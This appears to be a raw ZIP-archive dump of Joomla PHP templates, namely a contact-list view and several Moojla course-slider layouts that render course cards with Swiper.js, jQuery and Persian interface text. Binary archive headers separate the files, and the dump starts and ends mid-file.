<?php else : ?>
<tr class="featured-list-row<?php echo
$i % 2; ?>">
<?php endif; ?>
<th scope="row"
class="list-title">
<a href="<?php echo
Route::_(RouteHelper::getContactRoute($item->slug, $item->catid,
$item->language)); ?>">
<span><?php echo
$this->escape($item->name); ?></span>
</a>
<?php if ($item->published == 0) : ?>
<div>
<span class="list-published badge
bg-warning text-light">
<?php echo
Text::_('JUNPUBLISHED'); ?>
</span>
</div>
<?php endif; ?>
</th>
<?php if
($this->params->get('show_position_headings')) : ?>
<td class="item-position">
<?php echo $item->con_position; ?>
</td>
<?php endif; ?>
<?php if
($this->params->get('show_email_headings')) : ?>
<td class="item-email">
<?php echo $item->email_to; ?>
</td>
<?php endif; ?>
<?php if
($this->params->get('show_telephone_headings')) : ?>
<td class="item-phone">
<?php echo $item->telephone; ?>
</td>
<?php endif; ?>
<?php if
($this->params->get('show_mobile_headings')) : ?>
<td class="item-phone">
<?php echo $item->mobile; ?>
</td>
<?php endif; ?>
<?php if
($this->params->get('show_fax_headings')) : ?>
<td class="item-phone">
<?php echo $item->fax; ?>
</td>
<?php endif; ?>
<?php if
($this->params->get('show_suburb_headings')) : ?>
<td class="item-suburb">
<span><?php echo $item->suburb;
?></span>
</td>
<?php endif; ?>
<?php if
($this->params->get('show_state_headings')) : ?>
<td class="item-state">
<span><?php echo $item->state;
?></span>
</td>
<?php endif; ?>
<?php if
($this->params->get('show_country_headings')) : ?>
<td class="item-state">
<span><?php echo $item->country;
?></span>
</td>
<?php endif; ?>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
<div>
<input type="hidden" name="filter_order"
value="<?php echo
$this->escape($this->state->get('list.ordering'));
?>">
<input type="hidden"
name="filter_order_Dir" value="<?php echo
$this->escape($this->state->get('list.direction'));
?>">
</div>
</form>
</div>
PK`��[���&
featured/default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2010 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="com-contact-featured blog-featured">
<?php if ($this->params->get('show_page_heading') != 0)
: ?>
<h1>
<?php echo
$this->escape($this->params->get('page_heading')); ?>
</h1>
<?php endif; ?>
<?php echo $this->loadTemplate('items'); ?>
<?php if ($this->params->def('show_pagination', 2) == 1
|| ($this->params->get('show_pagination') == 2 &&
$this->pagination->pagesTotal > 1)) : ?>
<div class="com-contact-featured__pagination w-100">
<?php if
($this->params->def('show_pagination_results', 1)) : ?>
<p class="counter float-end pt-3 pe-2">
<?php echo $this->pagination->getPagesCounter();
?>
</p>
<?php endif; ?>
<?php echo $this->pagination->getPagesLinks(); ?>
</div>
<?php endif; ?>
</div>
PKa��[z��c!c!card_Sliding.phpnu�[���<?php
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.css');
$document->addStyleSheet('modules/mod_moojlacourseslider/assets/css/card_Sliding.css');
$colcoursesliderverysmall=$params->get('colcoursesliderverysmall');
$colcourseslidersmall=$params->get('colcourseslidersmall');
$colcourseslidermedium=$params->get('colcourseslidermedium');
$colcoursesliderlarge=$params->get('colcoursesliderlarge');
$colcoursesliderverylarge=$params->get('colcoursesliderverylarge');
// background and color button prev slide
$slider_button_prev = [
'background-color :' .
$params->get('arrow_color'),
'color :' .
$params->get('arrow_icon_color')
];
$slider_button_prev = implode(';', $slider_button_prev);
// background and color button next slide
$slider_button_next = [
'background-color :' .
$params->get('arrow_color'),
'color :' .
$params->get('arrow_icon_color')
];
$slider_button_next = implode(';', $slider_button_next);
// title course color course slider
$text_color = [
'color :' . $params->get('text_color')
];
$text_color = implode(';', $text_color);
// price color course slider
$price_color = [
'color :' . $params->get('price_color')
];
$price_color = implode(';', $price_color);
?>
<div class="lmskaran_lay-sliding">
<div style="<?php echo $slider_button_next; ?>"
class="lmskaran_lay-sliding-next lmskaran_lay-sliding-next-<?php
echo $module->id; ?> swiper-button-next swiper-button-next-<?php
echo $module->id; ?>"></div>
<div style="<?php echo $slider_button_prev; ?>"
class="lmskaran_lay-sliding-prev lmskaran_lay-sliding-prev-<?php
echo $module->id; ?> swiper-button-prev swiper-button-prev-<?php
echo $module->id; ?>"></div>
<div class="swiper-container swiper-container-<?php echo
$module->id; ?>">
<div class="swiper-wrapper swiper-wrapper-<?php echo
$module->id; ?>">
<?php foreach ($courses as $course) : ?>
<div class="swiper-slide swiper-slide-<?php echo
$module->id; ?>">
<div class="Lmskaran_mod_moojla_card_sliding">
<div class="additional
lmskaran_lay-card-sliding-color-border-<?php echo $module->id;
?>">
<div class="user-card
lmskaran_lay-card-sliding-manage-background-org-<?php echo
$module->id; ?>">
<div style="<?php echo $price_color;?>"
class="cost_course
lmskaran_lay-card-sliding-manage-color-price-<?php echo $module->id;
?>">
<?php if ($course->cost > 0) {
echo $course->cost;
} else {
echo "رایگان";
} ?>
</div>
<div class="profile_teacher">
<?php if (!$course->summary_files) : ?>
<img
src="https://www.w3schools.com/w3css/img_lights.jpg">
<?php else : ?>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">
<img src="<?php echo $course->summary_files;
?>">
</a>
<?php endif; ?>
</div>
</div>
</div>
<div class="general
lmskaran_lay-card-sliding-manage-background-fewer-<?php echo
$module->id; ?>">
<?php /* <div class="for-hover-accordion-card">
<div class="accordion_toLeft_card"
onmouseover="againopenAccordion(this);mouseOverShowInFromation()">
<div class="more-info">
<div
class="flexibleOrGridSystem_accordionInformation">
<?php $course->teachers = trim($course->teachers,
'"');
$course->teachers = json_decode($course->teachers);
?>
<h3 class="more-info-h1">نام استاد :
<?php if ($course->teachers[0] == null) : ?>
<span style="color:#c5c5b1;">این درس
استاد ندارد !</span>
<?php else : ?>
<span><?php echo $course->teachers[0]->firstname .
" " . $course->teachers[0]->lastname; ?></span>
<?php endif; ?>
</h3>
<div class="coords">
<span>تاریخ انتشار : </span>
<span><?php echo $course->created; ?></span>
</div>
<div class="coords">
<!-- <span>Position/Role</span>
<span>City, Country</span> -->
</div>
<div class="loign-to-page-course">
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='
. $course->remoteid); ?>"
style="width:100%;color:black;">
<button class="go-to-course">
رفتن به دوره
</button>
</a>
</div>
</div>
</div>
</div>
</div> */?>
<div class="information_courseInCard">
<div class="titleOrCourseName">
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">
<h3 style="<?php echo $text_color;?>"
class="general_courseName
lmskaran_lay-course-slider-manage-color-text-<?php echo $module->id;
?>"><?php echo $course->shortname; ?></h3>
</a>
</div>
<div style="<?php echo $text_color;?>"
class="summaryCourseCard
lmskaran_lay-course-slider-manage-color-text-<?php echo $module->id;
?>">
<?php echo ModMoojlaCourseSliderHelper::escape($params,
$course->summary); ?>
</div>
</div>
<div class="lmskaran_lay-card-sliding-cat_name">
<span style="<?php echo $text_color; ?>"
class="more lmskaran_lay-card-sliding-manage-background-org-<?php
echo $module->id; ?> lmskaran_lay-card-sliding-color-border-<?php
echo $module->id; ?>
lmskaran_lay-course-slider-manage-color-text-<?php echo $module->id;
?>"> طبقه درس : <?php echo $course->cat_name;
?></span>
</div>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
<div class="swiper-pagination swiper-pagination-<?php echo
$module->id; ?>"></div>
</div>
</div>
<?php
$document = JFactory::getDocument();
$document->addScript('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.js');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/card_sliding.js');
?>
<script>
var swiper = new Swiper('.swiper-container-<?php echo
$module->id; ?>', {
spaceBetween: 30,
slidesPerGroup: 1,
loop: false,
loopFillGroupWithBlank: true,
navigation: {
nextEl: '.swiper-button-next-<?php echo $module->id;
?>',
prevEl: '.swiper-button-prev-<?php echo $module->id;
?>',
},
breakpoints: {
320: {
slidesPerView:'<?php echo $colcoursesliderverysmall;
?>',
spaceBetween: 20,
},
480: {
slidesPerView:'<?php echo $colcourseslidersmall; ?>',
spaceBetween: 20,
},
768: {
slidesPerView:'<?php echo $colcourseslidermedium;
?>',
spaceBetween: 10,
},
1024: {
slidesPerView:'<?php echo $colcoursesliderlarge;
?>',
spaceBetween: 10,
},
1200: {
slidesPerView:'<?php echo $colcoursesliderverylarge;
?>',
spaceBetween: 10,
},
}
});
jQuery(document).ready(function ($)
{
function shadeColor(color, percent) {
var R = parseInt(color.substring(1, 3), 16);
var G = parseInt(color.substring(3, 5), 16);
var B = parseInt(color.substring(5, 7), 16);
R = parseInt(R * (100 + percent) / 100);
G = parseInt(G * (100 + percent) / 100);
B = parseInt(B * (100 + percent) / 100);
R = (R < 255) ? R : 255;
G = (G < 255) ? G : 255;
B = (B < 255) ? B : 255;
var RR = ((R.toString(16).length == 1) ? "0" +
R.toString(16) : R.toString(16));
var GG = ((G.toString(16).length == 1) ? "0" +
G.toString(16) : G.toString(16));
var BB = ((B.toString(16).length == 1) ? "0" +
B.toString(16) : B.toString(16));
return "#" + RR + GG + BB;
}
var module_id= '<?= $module->id; ?>'
$(".lmskaran_lay-card-sliding-manage-background-org-"+module_id+"").css({
'background': '<?=
$params->get('color_card_sliding'); ?>'
});
$(".lmskaran_lay-card-sliding-manage-background-fewer-"+module_id+"").css({
'background':'linear-gradient('+shadeColor('<?=
$params->get('color_card_sliding'); ?>',
20)+','+shadeColor('<?=
$params->get('color_card_sliding'); ?>',
80)+')'
});
$(".lmskaran_lay-card-sliding-color-border-"+module_id+"").css({
'border-color':shadeColor('<?=
$params->get('color_card_sliding'); ?>', -20)
});
})
</script>PKa��[���� �
courseslider.phpnu�[���
<?php
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.css');
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/courseslider.css');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/courseslider.js');
$colcoursesliderverysmall=$params->get('colcoursesliderverysmall');
$colcourseslidersmall=$params->get('colcourseslidersmall');
$colcourseslidermedium=$params->get('colcourseslidermedium');
$colcoursesliderlarge=$params->get('colcoursesliderlarge');
$colcoursesliderverylarge=$params->get('colcoursesliderverylarge');
// --------------------> inline style html
// background box course slider
$courseslider_background = [
'background-color :' .
$params->get('lmskaran_color')
];
$courseslider_background = implode(';',
$courseslider_background);
// background and color button prev slide
$slider_button_prev = [
'background-color :' .
$params->get('arrow_color'),
'color :' .
$params->get('arrow_icon_color')
];
$slider_button_prev = implode(';', $slider_button_prev);
// background and color button next slide
$slider_button_next = [
'background-color :' .
$params->get('arrow_color'),
'color :' .
$params->get('arrow_icon_color')
];
$slider_button_next = implode(';', $slider_button_next);
// title course color course slider
$title_course_slider_color = [
'color :' . $params->get('text_color')
];
$title_course_slider_color = implode(';',
$title_course_slider_color);
// price color course slider
$price_color_course_slider = [
'color :' . $params->get('price_color')
];
$price_color_course_slider = implode(';',
$price_color_course_slider);
?>
<?php ?>
<!-- Swiper -->
<div class="lmskaran_lay-courseslider">
<div style="<?php echo $slider_button_next; ?>"
class="slider_button_next lmskaran_lay-courseslider-next
lmskaran_lay-courseslider-next-<?php echo $module->id; ?>
swiper-button-next swiper-button-next-<?php echo $module->id;
?>"></div>
<div style="<?php echo $slider_button_prev; ?>"
class="slider_button_prev lmskaran_lay-courseslider-prev
lmskaran_lay-courseslider-prev-<?php echo $module->id; ?>
swiper-button-prev swiper-button-prev-<?php echo $module->id;
?>"></div>
<div class="swiper-container swiper-container-<?php echo
$module->id; ?>">
<div class="swiper-wrapper swiper-wrapper-<?php echo
$module->id; ?>">
<?php foreach($courses as $course): ?>
<div class="swiper-slide swiper-slide-<?php echo
$module->id; ?>">
<div class="card">
<div style="<?php echo
$courseslider_background;?>" class="courseslider_background
lmskaran_lay-courseslider-background-<?php echo $module->id; ?>
card__side card__side--front card__side--front-moduleid-<?php echo
$module->id; ?>">
<div class="card__title
card__title">
<?php if(!$course->summary_files):?>
<img class="card_img_front"
src="https://www.w3schools.com/w3css/img_lights.jpg">
<?php else:?>
<img class="card_img_front" src="<?php echo
$course->summary_files; ?>">
<?php endif;?>
</div>
<h4 style="<?php echo
$title_course_slider_color; ?>"
class="title_course_slider_color card__heading
lmskaran_lay-course-slider-manage-color-text-<?php echo $module->id;
?>"><?php echo $course->shortname; ?></h4>
<div class="card__details
lmskaran_lay-course-slider-manage-color-text-<?php echo $module->id;
?>">
<ul>
<li>
<?php if (count($course->teachers) == null) : ?>
<span
class="lmskaran_popup_not_teacher_name">این درس
استاد ندارد !</span>
<?php else:?>
<a href="#" class="lmskaran_popup_teacher_name
lmskaran_lay-course-slider-manage-color-text-<?php echo $module->id;
?>">
<span><?php echo $course->teachers[0]->name;
?></span>
</a>
<?php endif; ?>
</li>
<li>طبقه درس :
<span><?php echo $course->cat_name;
?></span></li>
</ul>
</div>
</div>
<div style="<?php echo
$courseslider_background;?>" class="courseslider_background
lmskaran_lay-courseslider-background-<?php echo $module->id; ?>
card__side card__side--back-moduleid-<?php echo $module->id;
?>">
<div class="card__cta">
<div class="card__price-box">
<p style="<?php echo
$price_color_course_slider; ?>"
class="price_color_course_slider card__price-value
lmskaran_lay-course-slider-manage-color-price-<?php echo $module->id;
?>">
</span><?php if($course->cost >
0 ) { echo $course->cost; } else {echo "رایگان"; } ?>
</p>
<div class="description__course--back
lmskaran_lay-course-slider-manage-color-text-<?php echo $module->id;
?>"><h3 class="title_about--course
lmskaran_lay-course-slider-manage-color-text-<?php echo $module->id;
?>">درباره درس : </h3><?php echo
ModMoojlaCourseSliderHelper::escape($params,$course->summary);
?></div>
</div>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>" class="btn--white">رفتن به
دوره</a>
</div>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
</div>
</div>
<?php
$document = JFactory::getDocument();
$document->addScript('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.js');
?>
<!-- Initialize Swiper -->
<script>
var swiper = new Swiper('.swiper-container-<?php echo
$module->id; ?>', {
// slidesPerView: 3,
spaceBetween: 30,
slidesPerGroup: 1,
loop: false,
loopFillGroupWithBlank: true,
// pagination: {
// el: '.swiper-pagination-<?php echo
$module->id; ?>',
// clickable: true,
// },
navigation: {
nextEl: '.swiper-button-next-<?php echo
$module->id; ?>',
prevEl: '.swiper-button-prev-<?php echo
$module->id; ?>',
},
breakpoints: {
320: {
slidesPerView:'<?php echo $colcoursesliderverysmall;
?>',
spaceBetween: 20,
},
480: {
slidesPerView:'<?php echo $colcourseslidersmall; ?>',
spaceBetween: 20,
},
768: {
slidesPerView:'<?php echo $colcourseslidermedium; ?>',
spaceBetween: 10,
},
1024: {
slidesPerView:'<?php echo $colcoursesliderlarge; ?>',
spaceBetween: 10,
},
1200: {
slidesPerView:'<?php echo $colcoursesliderverylarge;
?>',
spaceBetween: 10,
},
}
});
</script>
<style>
/* for slideshow */
.swiper-slide-<?php echo $module->id; ?> {
display: block !Important;
background: unset !important;
}
.swiper-container-<?php echo $module->id; ?> {
padding-bottom: 50px;
width: 100%;
height: 70%;
}
.swiper-wrapper-<?php echo $module->id; ?> {
transition: 0.4s !important;
padding:50px 0px;
}
.swiper-button-next-<?php echo $module->id; ?>:after,
.swiper-button-prev-<?php echo $module->id; ?>:after {
font-size: 30px;
}
.card__side--front-moduleid-<?php echo $module->id; ?> {
background: <?php echo $backgroundcolor; ?>;
}
.card__side--back-moduleid-<?php echo $module->id; ?> {
-webkit-transform: rotateY(180deg);
transform: rotateY(180deg);
background: <?php echo $backgroundcolorback ?>;
}
.card:hover .card__side--front-moduleid-<?php echo $module->id; ?>
{
-webkit-transform: rotateY(-180deg);
transform: rotateY(-180deg);
}
.card:hover .card__side--back-moduleid-<?php echo $module->id; ?>
{
-webkit-transform: rotateY(0);
transform: rotateY(0);
}
</style>PKa��[����11courseSliderUdemy.phpnu�[���
<?php
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.css');
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/courseSliderUdemy.css');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/courseSliderUdemy/courseSliderUdemy.js');
$cat_name=$params->get('cat_name');
$teacher_name=$params->get('teacher_name');
$colcoursesliderverysmall=$params->get('colcoursesliderverysmall');
$colcourseslidersmall=$params->get('colcourseslidersmall');
$colcourseslidermedium=$params->get('colcourseslidermedium');
$colcoursesliderlarge=$params->get('colcoursesliderlarge');
$colcoursesliderverylarge=$params->get('colcoursesliderverylarge');
// background box course slider
$courseslider_background = [
'background-color :' .
$params->get('lmskaran_color')
];
$courseslider_background = implode(';',
$courseslider_background);
// background and color button prev slide
$slider_button_prev = [
'background-color :' .
$params->get('arrow_color'),
'color :' . $params->get('arrow_icon_color')
];
$slider_button_prev = implode(';', $slider_button_prev);
// background and color button next slide
$slider_button_next = [
'background-color :' .
$params->get('arrow_color'),
'color :' . $params->get('arrow_icon_color')
];
$slider_button_next = implode(';', $slider_button_next);
?>
<!-- Swiper -->
<div style="<?php echo $courseslider_background; ?>"
id="f<?php echo $module->id; ?>" class="particle
lmskaran_alignment_course_slider lmskaran_alignment_course_slider-<?php
echo $module->id; ?>" data-moduleid="<?php echo
$module->id; ?>">
<div class="lmskaran_course_slider" style="padding:60px
60px;">
<div style="<?php echo $slider_button_prev;?>"
class="lmskaran_lay-courseslider-udemy-prev-<?php echo
$module->id; ?> swiper-button-prev swiper-button-prev-<?php echo
$module->id; ?>"></div>
<div style="<?php echo $slider_button_next;?>"
class="lmskaran_lay-courseslider-udemy-next-<?php echo
$module->id; ?> swiper-button-next swiper-button-next-<?php echo
$module->id; ?>"></div>
<div class="lmskaran_padding_course_slider">
<div class="swiper-container swiper-container-<?php echo
$module->id; ?>">
<div class="swiper-wrapper swiper-wrapper-<?php echo
$module->id; ?>">
<?php //dump($courses, "courses");?>
<?php foreach($courses as $course): ?>
<div class="lmskaran_course_box swiper-slide
swiper-slide-<?php echo $module->id; ?> f<?php echo
$course->id; ?>">
<div class="lmskaran_filterCoursesSlider_card">
<div
class="lmskaran_filterCoursesSlider_front">
<a
class="lmskaran_filterCoursesSlider_img_course"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>" >
<div
class="lmskaran_filterCoursesSlider_box_img">
<?php if(!$course->summary_files):?>
<img
src="https://www.w3schools.com/w3css/img_lights.jpg">
<?php else:?>
<a class="lmskaran_filterCoursesSlider_img_course"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>" >
<img src="<?php echo $course->summary_files;
?>">
</a>
<?php endif;?>
</div>
</a>
<div
class="lmskaran_filterCoursesSlider_content">
<div
class="lmskaran_filterCoursesSlider_main">
<h3
class="lmskaran_filterCourseSlider_title_course">
<a style="width:100%"
href="<?php //echo $url ?>" ><?php echo
$course->shortname; ?></a>
</h3>
</div>
<div
class="lmskaran_filterCoursesSlider_information_course">
<div
class="lmskaran_filterCoursesSlider_button_cost_pack">
<?php if($course->cost == 0):?>
<div
class="lmskaran_filterCoursesSlider_button_cost">
<a
class="lmskaran_filterCoursesSlider_button_cost_link"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">رایگان</a>
</div>
<?php else: ?>
<div
class="lmskaran_filterCoursesSlider_button_cost">
<a
class="lmskaran_filterCoursesSlider_button_cost_link"
href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">
<?php echo $course->cost; ?></a></div>
<?php endif; ?>
</div>
</div>
</div>
</div>
</div>
<?php /* pop up */ ?>
<div class="lmskaran_popup_course">
<div class="lmskaran_popup_pointer">
<span class="lmskaran_popup_pointerinner"></span>
</div>
<div class="lmskaran_content_popup">
<div class="lmskaran_course_info">
<div class="lmskaran_main_info">
<a href="#"><?php echo $course->fullname;
?></a>
<?php if (count($course->teachers) == 0) : ?>
<span
class="lmskaran_popup_not_teacher_name">این درس
استاد ندارد !</span>
<?php else:?>
<a href="#"
class="lmskaran_popup_teacher_name"><span><?php echo
$course->teachers[0]->name; ?></span></a>
<?php endif; ?>
</div>
<div class="lmskaran_teacher"><a
href="#"><img
src="images/avatar-man.jpg"></a></div>
</div>
<div class="lmskaran_discreption_course">
<div class="lmskaran_padding_discreption">
<span>
<?php if(isset($course->summary)): ?>
<?php echo
ModMoojlaCourseSliderHelper::escape($params,$course->summary); ?>
<?php endif; ?>
</span>
</div>
</div>
<div class="lmskaran_field_course_mapper">
<?php if(count($course->customfields) > 0):?>
<?php foreach($course->customfields as $index => $map):?>
<div class="lmskaran_courseExtras">
<div class="lmskaran_desck"><?php echo
$map['title']; ?></div>
<div class="lmskaran_ico-val">
<img src="<?php echo $map['img']; ?>"
/>
<div class="lmskaran_value"><?php echo
$map['value']; ?></div>
</div>
</div>
<?php endforeach;?>
<?php endif;?>
</div>
<div class="lmskaran_price_users">
<div class="lmskaran_cost_course"><span><?php
echo $course->cost; ?></span>تومان</div>
<div class="lmskaran_user_reg_in_course">
<!-- <div class="lmskaran_icon_user"><img
src="/images/icons/user_1.png"></div> -->
<span><?php echo $course->number_of_participants; ?>
</span>
دانشجو
</div>
</div>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
<!-- Add Pagination -->
<div class="swiper-pagination swiper-pagination-<?php echo
$module->id; ?>"></div>
<!-- Add Arrows -->
</div>
</div>
</div>
</div>
<!-- Initialize Swiper -->
<?php
$document = JFactory::getDocument();
$document->addScript('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.js');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/courseSliderUdemy/particles.js');
$document->addScriptOptions('moduleid', $module->id);
?>
<script>
// var moduleid= Joomla.getOptions('moduleid');
// alert(moduleid)
</script>
<!-- <script
src="/modules/mod_moojlacourseslider/assets/js/courseSliderUdemy/particles.js"></script>
<script
src="/modules/mod_moojlacourseslider/assets/js/courseSliderUdemy/app.js"></script>-->
<script>
var swiper = new Swiper('.swiper-container-<?php echo
$module->id; ?>', {
// slidesPerView: 3,
spaceBetween: 30,
slidesPerGroup: 1,
loop: false,
loopFillGroupWithBlank: true,
navigation: {
nextEl: '.swiper-button-next-<?php echo $module->id;
?>',
prevEl: '.swiper-button-prev-<?php echo $module->id;
?>',
},
breakpoints: {
320: {
slidesPerView:'<?php echo $colcoursesliderverysmall; ?>',
spaceBetween: 20,
},
480: {
slidesPerView:'<?php echo $colcourseslidersmall; ?>',
spaceBetween: 20,
},
768: {
slidesPerView:'<?php echo $colcourseslidermedium;
?>',
spaceBetween: 10,
},
1024: {
slidesPerView:'<?php echo $colcoursesliderlarge;
?>',
spaceBetween: 10,
},
1200: {
slidesPerView:'<?php echo $colcoursesliderverylarge;
?>',
spaceBetween: 10,
},
},
allowTouchMove: false
});
// jQuery(document).ready(function($)
jQuery(window).load(function($)
{
var $= jQuery
$(window).resize(function(){
placement()
});
$('.lmskaran_course_box').hover(
function(){
var _this= $(this);
_this.find('.lmskaran_popup_course').stop(true,false,true).fadeToggle(200)
}
)
swiper.on('transitionEnd', function () {
console.log('t e');
placement()
});
placement()
function placement()
{
//
console.log('----------------------------------------------start
placement()---------------------------');
$('.lmskaran_course_box').find('.lmskaran_popup_course').removeClass('displayfromleft')
var windowWidth =$(window).width()
var swiper_offset_left=
$('.swiper-container').offset().left
var swiper_outerwidth=
$('.swiper-container').outerWidth()
var swiper_offset_right= windowWidth - (swiper_offset_left+
swiper_outerwidth)
// console.log('swiper_offset_right
'+swiper_offset_right+'_ swiper_offset_left
'+swiper_offset_left+'_ swiper_outerwidth
'+swiper_outerwidth+'_ windowWidth '+windowWidth)
$('.lmskaran_course_box').each(function(){
var box_offset_left= $(this).offset().left
var box_outerwidth= $(this).outerWidth()
var box_offset_right= windowWidth - (box_offset_left+
box_outerwidth)
var popup_offset_left=
$(this).find('.lmskaran_popup_course').offset().left
var popup_outerwidth=
$(this).find('.lmskaran_popup_course').outerWidth()
// var popup_offset_right= windowWidth - (popup_offset_left+
popup_outerwidth)
var popup_offset_right= box_offset_right -
(((2/100)*box_outerwidth) + popup_outerwidth)
// console.log(
// 'box_offset_right
'+box_offset_right+'_ box_offset_left
'+box_offset_left+'_ box_outerwidth '+box_outerwidth+'_
popup_outerwidth '+popup_outerwidth+'_ popup_offset_left '+
popup_offset_left+'_ cal '+ ((2/100)*box_outerwidth)
// );
// console.log('popup_offset_right
'+popup_offset_right+'_ popup_offset_left
'+popup_offset_left+'_ popup_outerwidth '+popup_outerwidth)
// console.log(
// $(this)
// );
// console.log(
//
// '------------------end------------------'
// );
if(box_offset_right +5 >= swiper_offset_right &&
box_offset_left >= swiper_offset_left)
{
if(popup_offset_right >= swiper_offset_right)
{
}
else
{
$(this).find('.lmskaran_popup_course').addClass('displayfromleft')
}
}
})
}
})
</script>
<style>
.displayfromleft {
/* left:calc(-97% + 20px) !important; */
}
.displayfromleft .lmskaran_popup_pointer {
right: -20px;
}
.displayfromleft .lmskaran_popup_pointer .lmskaran_popup_pointerinner {
right: 50%;
}
/* for slideshow */
.swiper-slide-<?php echo $module->id; ?> {
display: block !Important;
background: unset !important;
transition: 0.5s;
position: relative;
top: 0;
}
.swiper-container-<?php echo $module->id; ?> {
width: 100%;
height: 70%;
padding: 40px 0;
}
.swiper-wrapper-<?php echo $module->id; ?> {
transition: 0.4s !important;
}
.swiper-button-next-<?php echo $module->id; ?>,
.swiper-button-prev-<?php echo $module->id; ?> {
background: #3a3a3c;
transition:0.5s;
}
.swiper-button-next-<?php echo $module->id; ?>:hover,
.swiper-button-prev-<?php echo $module->id; ?>:hover {
background: #d00202;
}
.swiper-button-next-<?php echo $module->id; ?>{
right:0px;
}
.swiper-button-prev-<?php echo $module->id; ?>{
left:0px;
}
.swiper-button-next-<?php echo $module->id; ?>:after,
.swiper-button-prev-<?php echo $module->id; ?>:after {
font-size: 20px;
color: white;
font-weight: bold;
text-rendering: auto;
}
</style>PKa��[��dž�course_flex.phpnu�[���
<?php
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/course_flex.css');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/course_flex.js');
$backgroundcolor=$params->get('lmskaran_backgroundcolor_flex');
JFactory::getDocument()->addScriptOptions('width_static',
$params->get('width_static', 360));
// background footer course flex
$background_footer_course_flex = [
'background-color :' .
$params->get('lmskaran_color')
];
$background_footer_course_flex = implode(';',
$background_footer_course_flex);
// price color
$cost_color = [
'color :' . $params->get('price_color')
];
$cost_color = implode(';', $cost_color);
$teahcer_color = [
'color :' . $params->get('text_color')
];
$teahcer_color = implode(';', $teahcer_color);
?>
<div class="lmskaran_row_lmskaran_flex_card">
<?php foreach($courses as $course): ?>
<div class="lmskaran_flex_card">
<div class="lmskaran_flex_card__side
lmskaran_flex_card__side--front">
<div class="lmskaran_flex_card__title
lmskaran_flex_card__title">
<?php if(!$course->summary_files):?>
<img class="card_img_front"
src="https://www.w3schools.com/w3css/img_lights.jpg"
class="lmskaran_flex_card_img_front">
<?php else:?>
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>">
<img class="card_img_front" src="<?php echo
$course->summary_files; ?>"
class="lmskaran_flex_card_img_front">
</a>
<?php endif;?>
</div>
<div
class="lmskaran_flex_card__details">
<div class="lmskaran_flex_card__price-box">
<h4 class="lmskaran_flex_card__heading"><?php
echo $course->shortname; ?></h4>
<div class="lmskaran_flex_card__cta">
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->remoteid);
?>" class="btn--white">رفتن به
دوره</a>
</div>
</div>
</div>
<div style="<?php echo $background_footer_course_flex;
?>" class="lmskaran_lay-course-flex-footer-card">
<div style="<?php echo $teahcer_color; ?>"
class="teachers_lay_course-flex">
<?php if(count($course->teachers) == 0) : ?>
<span>این درس استاد ندارد !</span>
<?php else:?>
<span><?php echo $course->teachers[0]->name;
?></span>
<?php endif; ?>
</div>
<div style="<?php echo $cost_color; ?>"
class="cost-course_lay_course_flex">
<p class="lmskaran_flex_card__price-value"><?php
if($course->cost > 0 ) { echo $course->cost; } else {echo
"رایگان";} ?></p>
</div>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
PKa��[��W��danshjooyar.phpnu�[���<?php
// dump($courses, "course");
?>
<?php
$document = JFactory::getDocument();
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/swiper-bundle/swiper-bundle.min.css');
$document->addStyleSheet('/modules/mod_moojlacourseslider/assets/css/danshjooyar.css');
$document->addScript('/modules/mod_moojlacourseslider/assets/js/filtercourses_slider.js');
$cat_name = $params->get('category_name');
$teacher_name = $params->get('teacher_name');
$colcoursesliderverysmall =
$params->get('colcoursesliderverysmall');
$colcourseslidersmall = $params->get('colcourseslidersmall');
$colcourseslidermedium =
$params->get('colcourseslidermedium');
$colcoursesliderlarge = $params->get('colcoursesliderlarge');
$colcoursesliderverylarge =
$params->get('colcoursesliderverylarge');
// background color
$background_color = ['background-color :' .
$params->get('lmskaran_color') ];
$background_color = implode(';', $background_color);
// background and color button prev slide
$slider_button_prev = ['background-color :' .
$params->get('arrow_color') , 'color :' .
$params->get('arrow_icon_color') ];
$slider_button_prev = implode(';', $slider_button_prev);
// background and color button next slide
$slider_button_next = ['background-color :' .
$params->get('arrow_color') , 'color :' .
$params->get('arrow_icon_color') ];
$slider_button_next = implode(';', $slider_button_next);
// text color or content
